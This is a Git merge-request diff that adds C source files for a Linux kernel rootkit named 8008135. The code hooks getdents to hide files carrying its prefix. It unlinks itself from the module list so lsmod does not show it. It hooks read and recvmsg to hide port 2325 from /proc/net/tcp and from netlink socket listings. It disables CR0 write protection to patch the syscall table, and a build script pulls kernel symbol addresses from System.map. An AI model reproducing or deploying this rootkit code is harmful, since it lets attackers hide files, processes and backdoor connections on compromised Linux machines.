Merge branch 'master' into 'dev_jkr'
Master See merge request jan-koerner-enterprises/8008135!3dev_jkr
commit
e41d698df1
@ -0,0 +1,20 @@
|
|||||||
|
/*
|
||||||
|
* 610b415.c
|
||||||
|
*
|
||||||
|
* Created on: Dec 6, 2019
|
||||||
|
* Author: vlr
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "610b415.h"
|
||||||
|
|
||||||
|
char * stringRemoveChars(char *AString, char *ASpanset){
|
||||||
|
char *LPtr = AString;
|
||||||
|
LPtr = strpbrk(LPtr, ASpanset);
|
||||||
|
|
||||||
|
while(LPtr != NULL) {
|
||||||
|
*LPtr = ' ';
|
||||||
|
LPtr = strpbrk(LPtr, AString);
|
||||||
|
}
|
||||||
|
|
||||||
|
return AString;
|
||||||
|
}
|
@ -0,0 +1,74 @@
|
|||||||
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||||
|
/*
|
||||||
|
* main.c
|
||||||
|
* Copyright (C) 2019
|
||||||
|
*
|
||||||
|
* 8008135 is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* 8008135 is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
|
||||||
|
/**** includes *****************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
#include "637d3n75.h"
|
||||||
|
|
||||||
|
/*** var ********************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
|
||||||
|
sys_getdents_ptr sys_getdents_orig;
|
||||||
|
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
/*** FUNCTION ****************************************************************
|
||||||
|
* NAME: sys_getdents_new
|
||||||
|
* DESCRIPTION: function overriding the original getdents
|
||||||
|
* PARAMETERS: -
|
||||||
|
* RETURNS: -
|
||||||
|
*******************************************************************************/
|
||||||
|
asmlinkage long sys_getdents_new(unsigned int fd,
|
||||||
|
struct linux_dirent __user *dirent,
|
||||||
|
unsigned int count){
|
||||||
|
int boff;
|
||||||
|
struct linux_dirent* ent;
|
||||||
|
|
||||||
|
long ret = sys_getdents_orig(fd, dirent, count);
|
||||||
|
|
||||||
|
char* dbuf;
|
||||||
|
|
||||||
|
if (ret <= 0) {
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
dbuf = (char*)dirent;
|
||||||
|
|
||||||
|
for (boff = 0; boff < ret;) {
|
||||||
|
|
||||||
|
ent = (struct linux_dirent*)(dbuf + boff);
|
||||||
|
|
||||||
|
|
||||||
|
if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0)
|
||||||
|
|| (strstr(ent->d_name, MODULE_NAME) != NULL)) {
|
||||||
|
|
||||||
|
memcpy(dbuf + boff,
|
||||||
|
dbuf + boff + ent->d_reclen,
|
||||||
|
ret - (boff + ent->d_reclen));
|
||||||
|
ret -= ent->d_reclen;
|
||||||
|
} else {
|
||||||
|
|
||||||
|
boff += ent->d_reclen;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
@ -1,19 +1,32 @@
|
|||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
|
|
||||||
SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )"
|
SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )"
|
||||||
|
|
||||||
SRCS_H="$SCRIPTPATH""/headers"
|
SRCS_H="$SCRIPTPATH""/headers"
|
||||||
|
|
||||||
|
SGENS="$SCRIPTPATH""/5y563n.c"
|
||||||
SGENH="$SRCS_H""/5y563n.h"
|
SGENH="$SRCS_H""/5y563n.h"
|
||||||
|
|
||||||
smap="/boot/System.map-$(uname -r)"
|
smap="/boot/System.map-$(uname -r)"
|
||||||
|
|
||||||
|
echo -e '#include "5y563n.h"' > "$SGENS"
|
||||||
|
|
||||||
echo -e "#pragma once" > "$SGENH"
|
echo -e "#pragma once" > "$SGENH"
|
||||||
echo -e "#include <linux/fs.h>" >> "$SGENH"
|
echo -e "#include <linux/fs.h>" >> "$SGENH"
|
||||||
|
|
||||||
|
|
||||||
symbline=$(cat $smap | grep '\Wsys_call_table$')
|
symbline=$(cat $smap | grep '\Wsys_call_table$')
|
||||||
set $symbline
|
set $symbline
|
||||||
|
|
||||||
[ -z "$symbline" ] && echo "No SysCall Table Value from System.map found" && exit 2;
|
[ -z "$symbline" ] && echo "No SysCall Table Value from System.map found" && exit 2;
|
||||||
echo -e "void** sys_call_table = (void**)0x$1;" >> "$SGENH"
|
|
||||||
|
echo -e "extern void** sys_call_table;" >> "$SGENH"
|
||||||
|
|
||||||
|
echo -e "void** sys_call_table = (void**)0x$1;" >> "$SGENS"
|
||||||
|
|
||||||
procline=$(cat $smap | grep '\Wproc_modules_operations$')
|
procline=$(cat $smap | grep '\Wproc_modules_operations$')
|
||||||
set $procline
|
set $procline
|
||||||
|
|
||||||
echo -e "struct file_operations* proc_modules_operations = (struct file_operations*)0x$1;" >> "$SGENH"
|
echo -e "extern struct file_operations* proc_modules_operations;">> "$SGENH"
|
||||||
|
|
||||||
|
echo -e "struct file_operations* proc_modules_operations = (struct file_operations*)0x$1;" >> "$SGENS"
|
@ -0,0 +1,36 @@
|
|||||||
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||||
|
/*
|
||||||
|
* main.c
|
||||||
|
* Copyright (C) 2019
|
||||||
|
*
|
||||||
|
* 8008135 is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* 8008135 is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
/**** includes *****************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
#include "h1d3m0dul3.h"
|
||||||
|
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
/*** FUNCTION ****************************************************************
|
||||||
|
* NAME: hide_module
|
||||||
|
* DESCRIPTION: hides the module from lsmod
|
||||||
|
* PARAMETERS: -
|
||||||
|
* RETURNS:
|
||||||
|
*******************************************************************************/
|
||||||
|
void hide_module(void){
|
||||||
|
list_del(&THIS_MODULE->list);
|
||||||
|
}
|
@ -0,0 +1,185 @@
|
|||||||
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||||
|
/*
|
||||||
|
* main.c
|
||||||
|
* Copyright (C) 2019
|
||||||
|
*
|
||||||
|
* 8008135 is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* 8008135 is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
/**** includes *****************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
#include "h1d3p0r7.h"
|
||||||
|
|
||||||
|
/**** var **********************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
|
||||||
|
sys_read_ptr sys_read_orig;
|
||||||
|
original_recvmsg_syscall sys_recvmsg_orig;
|
||||||
|
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
/*** FUNCTION ****************************************************************
|
||||||
|
* NAME: hide port
|
||||||
|
* DESCRIPTION: hides the port 2325
|
||||||
|
* PARAMETERS: -
|
||||||
|
* RETURNS:
|
||||||
|
*******************************************************************************/
|
||||||
|
|
||||||
|
asmlinkage long sys_read_fake(unsigned int fd, char __user *buf,
|
||||||
|
size_t count)
|
||||||
|
{
|
||||||
|
long result, bp, diff_in_bytes;
|
||||||
|
char *kbuf, *start_line, *end_line, *port_num;
|
||||||
|
char *pathname, pbuf[256];
|
||||||
|
struct files_struct *current_files;
|
||||||
|
struct fdtable *files_table;
|
||||||
|
struct path file_path;
|
||||||
|
|
||||||
|
// run real read
|
||||||
|
result = (*sys_read_orig)(fd, buf, count);
|
||||||
|
|
||||||
|
if (result <= 0){
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
current_files = current->files;
|
||||||
|
files_table = files_fdtable(current_files);
|
||||||
|
|
||||||
|
file_path = files_table->fd[fd]->f_path;
|
||||||
|
pathname = d_path(&file_path, pbuf, 256*sizeof(char));
|
||||||
|
|
||||||
|
|
||||||
|
if (!strncmp(pathname, "/proc/", 6) && !strcmp(pathname + 10, "/net/tcp")) {
|
||||||
|
|
||||||
|
if (!access_ok(VERIFY_READ, buf, result)){
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if ((kbuf = kmalloc(result, GFP_KERNEL)) == NULL){
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (copy_from_user(kbuf, buf, result)){
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
start_line = strchr(kbuf, ':') - 4;
|
||||||
|
diff_in_bytes = (start_line - kbuf) * sizeof(char);
|
||||||
|
|
||||||
|
for (bp = diff_in_bytes; bp < result; bp += diff_in_bytes) {
|
||||||
|
|
||||||
|
start_line = kbuf + bp;
|
||||||
|
port_num = strchr(strchr(start_line, ':') + 1, ':') + 1;
|
||||||
|
end_line = strchr(start_line, '\n');
|
||||||
|
diff_in_bytes = ((end_line - start_line) + 1) * sizeof(char);
|
||||||
|
|
||||||
|
if (!strncmp(port_num, DEFAULT_PORT_HEX, 4)) {
|
||||||
|
|
||||||
|
memmove(start_line, end_line + 1,
|
||||||
|
result - bp - diff_in_bytes);
|
||||||
|
|
||||||
|
result -= diff_in_bytes;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// copy from kernel to userspace
|
||||||
|
if (!access_ok(VERIFY_WRITE, buf, result)){
|
||||||
|
return EINVAL;
|
||||||
|
}
|
||||||
|
if (copy_to_user(buf, kbuf, result)){
|
||||||
|
return EINVAL;
|
||||||
|
}
|
||||||
|
kfree(kbuf);
|
||||||
|
}
|
||||||
|
// return number of bytes read
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Function that replaces the original `recvmsg` syscall. Initially, it calls the original
|
||||||
|
`recvmsg` which fills the given msg buffer. We realize whether we are reading from a netlink
|
||||||
|
socket with the help of some netlink utility macros. If a netlink socket is being used, we
|
||||||
|
iterate through the inet diag msg structs (each prepended by a nlmsghdr) and compare the
|
||||||
|
source and destination ports with our list of hidden ones. In order to hide an entry we copy
|
||||||
|
the remaining entries over it and adjust the data length which is returned to the user. */
|
||||||
|
|
||||||
|
asmlinkage ssize_t my_recvmsg_syscall(int sockfd, struct user_msghdr __user *msg, unsigned flags)
|
||||||
|
{
|
||||||
|
long ret;
|
||||||
|
struct nlmsghdr *nlh;
|
||||||
|
long count;
|
||||||
|
int found;
|
||||||
|
char *stream;
|
||||||
|
int offset;
|
||||||
|
int i;
|
||||||
|
struct inet_diag_msg *r;
|
||||||
|
int port;
|
||||||
|
/* Call original `recvmsg` syscall */
|
||||||
|
ret = sys_recvmsg_orig(sockfd, msg, flags);
|
||||||
|
|
||||||
|
/* Some error occured. Don't do anything. */
|
||||||
|
if (ret < 0)
|
||||||
|
return ret;
|
||||||
|
|
||||||
|
/* Extract netlink message header from message */
|
||||||
|
nlh = (struct nlmsghdr *)(msg->msg_iov->iov_base);
|
||||||
|
|
||||||
|
/* Number of bytes remaining in message stream */
|
||||||
|
count = ret;
|
||||||
|
|
||||||
|
/* Set flag specifying whether message contains data to be masked */
|
||||||
|
found = 1;
|
||||||
|
|
||||||
|
/* NLMSG_OK: This macro will return true if a netlink message was received. It
|
||||||
|
essentially checks whether it's safe to parse the netlink message (if indeed
|
||||||
|
is a netlink message) using the other NLMSG_* macros. */
|
||||||
|
while (NLMSG_OK(nlh, count)) {
|
||||||
|
|
||||||
|
if (found == 0)
|
||||||
|
/* NLMSG_NEXT: Many netlink protocols have request messages that result
|
||||||
|
in multiple response messages. In these cases, multiple responses will
|
||||||
|
be copied into the `msg` buffer. This macro can be used to walk the
|
||||||
|
chain of responses. Returns NULL in the event the message is the last
|
||||||
|
in the chain for the given buffer. */
|
||||||
|
nlh = NLMSG_NEXT(nlh, count);
|
||||||
|
|
||||||
|
r = NLMSG_DATA(nlh);
|
||||||
|
port = ntohs(r->id.idiag_sport);
|
||||||
|
if(port == 2325){
|
||||||
|
/* Message contains data to be masked */
|
||||||
|
found = 1;
|
||||||
|
}else{
|
||||||
|
found = 0;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
stream = (char *) nlh;
|
||||||
|
|
||||||
|
/* NLMSG_ALIGN: This macro accepts the length of a netlink message and rounds it
|
||||||
|
up to the nearest NLMSG_ALIGNTO boundary. It returns the rounded length. */
|
||||||
|
offset = NLMSG_ALIGN((nlh)->nlmsg_len);
|
||||||
|
|
||||||
|
/* Copy remaining entries over the data to be masked */
|
||||||
|
for (i=0 ; i<count ; i++)
|
||||||
|
stream[i] = stream[i + offset];
|
||||||
|
|
||||||
|
/* Adjust the data length */
|
||||||
|
ret -= offset;
|
||||||
|
}
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,13 @@
|
|||||||
|
/*
|
||||||
|
* 610b415.h
|
||||||
|
*
|
||||||
|
* Created on: Dec 6, 2019
|
||||||
|
* Author: vlr
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef SRC_HEADERS_610B415_H_
|
||||||
|
#define SRC_HEADERS_610B415_H_
|
||||||
|
|
||||||
|
extern char * stringRemoveChars(char *AString, char *ASpanset);
|
||||||
|
|
||||||
|
#endif /* SRC_HEADERS_610B415_H_ */
|
@ -0,0 +1,68 @@
|
|||||||
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||||
|
/*
|
||||||
|
* main.c
|
||||||
|
* Copyright (C) 2019
|
||||||
|
*
|
||||||
|
* 8008135 is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* 8008135 is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
|
||||||
|
#ifndef SRC_HEADERS_637d3n75_H
|
||||||
|
#define SRC_HEADERS_637d3n75_H
|
||||||
|
|
||||||
|
|
||||||
|
/**** include ****************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
#include <linux/module.h>
|
||||||
|
#include <asm/special_insns.h>
|
||||||
|
#include <linux/string.h>
|
||||||
|
#include <linux/fs.h>
|
||||||
|
|
||||||
|
#include "5y563n.h"
|
||||||
|
|
||||||
|
#define HIDE_PREFIX "8008135."
|
||||||
|
#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX) - 1)
|
||||||
|
|
||||||
|
#define MODULE_NAME "8008135"
|
||||||
|
#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1)
|
||||||
|
|
||||||
|
#define __NR_getdents 78
|
||||||
|
|
||||||
|
/**** type ********************************************************************
|
||||||
|
******************************************************************************/
|
||||||
|
|
||||||
|
struct linux_dirent {
|
||||||
|
unsigned long d_ino;
|
||||||
|
unsigned long d_off;
|
||||||
|
unsigned short d_reclen;
|
||||||
|
char d_name[1];
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef asmlinkage long (*sys_getdents_ptr)(unsigned int fd,
|
||||||
|
struct linux_dirent __user *dirent,
|
||||||
|
unsigned int count);
|
||||||
|
|
||||||
|
/*** var ********************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
|
||||||
|
extern sys_getdents_ptr sys_getdents_orig;
|
||||||
|
|
||||||
|
|
||||||
|
extern asmlinkage long sys_getdents_new(unsigned int fd,
|
||||||
|
struct linux_dirent __user *dirent,
|
||||||
|
unsigned int count);
|
||||||
|
|
||||||
|
#endif
|
@ -0,0 +1,30 @@
|
|||||||
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||||
|
/*
|
||||||
|
* main.c
|
||||||
|
* Copyright (C) 2019
|
||||||
|
*
|
||||||
|
* 8008135 is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* 8008135 is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef SRC_HEADERS_h1d3m0dul3_H
|
||||||
|
#define SRC_HEADERS_h1d3m0dul3_H
|
||||||
|
|
||||||
|
|
||||||
|
#include <linux/module.h>
|
||||||
|
#include <linux/kernel.h>
|
||||||
|
|
||||||
|
|
||||||
|
extern void hide_module(void);
|
||||||
|
|
||||||
|
#endif
|
@ -0,0 +1,62 @@
|
|||||||
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||||
|
/*
|
||||||
|
* main.c
|
||||||
|
* Copyright (C) 2019
|
||||||
|
*
|
||||||
|
* 8008135 is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* 8008135 is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef SRC_HEADERS_h1d3p0r7_H
|
||||||
|
#define SRC_HEADERS_h1d3p0r7_H
|
||||||
|
|
||||||
|
|
||||||
|
/**** includes ****************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
|
||||||
|
#include "50ck3t.h"
|
||||||
|
|
||||||
|
/* are those really all needed? */
|
||||||
|
#include <linux/fs.h>
|
||||||
|
#include <linux/fdtable.h>
|
||||||
|
#include <linux/net.h>
|
||||||
|
#include <linux/seq_file.h>
|
||||||
|
#include <linux/slab.h>
|
||||||
|
#include <linux/socket.h>
|
||||||
|
#include <linux/version.h>
|
||||||
|
#include <net/tcp.h>
|
||||||
|
#include <net/udp.h>
|
||||||
|
#include <linux/inet_diag.h> /* Needed for ntohs */
|
||||||
|
|
||||||
|
|
||||||
|
#define __NR_read 0
|
||||||
|
#define __NR_recvmsg 47
|
||||||
|
|
||||||
|
|
||||||
|
typedef asmlinkage long (*sys_read_ptr)(unsigned int fd,
|
||||||
|
char __user *buf,
|
||||||
|
size_t count);
|
||||||
|
typedef asmlinkage ssize_t (*original_recvmsg_syscall)(int, struct user_msghdr __user *, unsigned);
|
||||||
|
|
||||||
|
|
||||||
|
/**** var **********************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
|
||||||
|
extern sys_read_ptr sys_read_orig;
|
||||||
|
extern asmlinkage long sys_read_fake(unsigned int fd, char __user *buf,
|
||||||
|
size_t count);
|
||||||
|
|
||||||
|
extern original_recvmsg_syscall sys_recvmsg_orig;
|
||||||
|
extern asmlinkage ssize_t my_recvmsg_syscall(int, struct user_msghdr __user *, unsigned);
|
||||||
|
|
||||||
|
#endif
|
@ -0,0 +1,33 @@
|
|||||||
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||||
|
/*
|
||||||
|
* main.c
|
||||||
|
* Copyright (C) 2019
|
||||||
|
*
|
||||||
|
* 8008135 is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* 8008135 is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef SRC_HEADERS_p463unpr073c7_H
|
||||||
|
#define SRC_HEADERS_p463unpr073c7_H
|
||||||
|
|
||||||
|
#include <linux/module.h>
|
||||||
|
#include "asm/special_insns.h"
|
||||||
|
|
||||||
|
/**** defines *****************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
#define WRITE_PROTECT_FLAG (1<<16)
|
||||||
|
|
||||||
|
extern void wprotectionoff(void);
|
||||||
|
extern void wprotectionon(void);
|
||||||
|
|
||||||
|
#endif
|
@ -0,0 +1,48 @@
|
|||||||
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||||
|
/*
|
||||||
|
* main.c
|
||||||
|
* Copyright (C) 2019
|
||||||
|
*
|
||||||
|
* 8008135 is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* 8008135 is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
/**** includes *****************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
#include "p463unpr073c7.h"
|
||||||
|
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
|
||||||
|
/*** FUNCTION ****************************************************************
|
||||||
|
* NAME: wprotectionoff
|
||||||
|
* DESCRIPTION: turn page write protection off
|
||||||
|
* PARAMETERS: -
|
||||||
|
* RETURNS:
|
||||||
|
*******************************************************************************/
|
||||||
|
void wprotectionoff(void){
|
||||||
|
write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
|
||||||
|
}
|
||||||
|
|
||||||
|
/*** FUNCTION ****************************************************************
|
||||||
|
* NAME: wprotectionon
|
||||||
|
* DESCRIPTION: turn page write protection on
|
||||||
|
* PARAMETERS: -
|
||||||
|
* RETURNS:
|
||||||
|
*******************************************************************************/
|
||||||
|
|
||||||
|
void wprotectionon(void){
|
||||||
|
write_cr0(read_cr0() | WRITE_PROTECT_FLAG);
|
||||||
|
}
|
Loading…
Reference in New Issue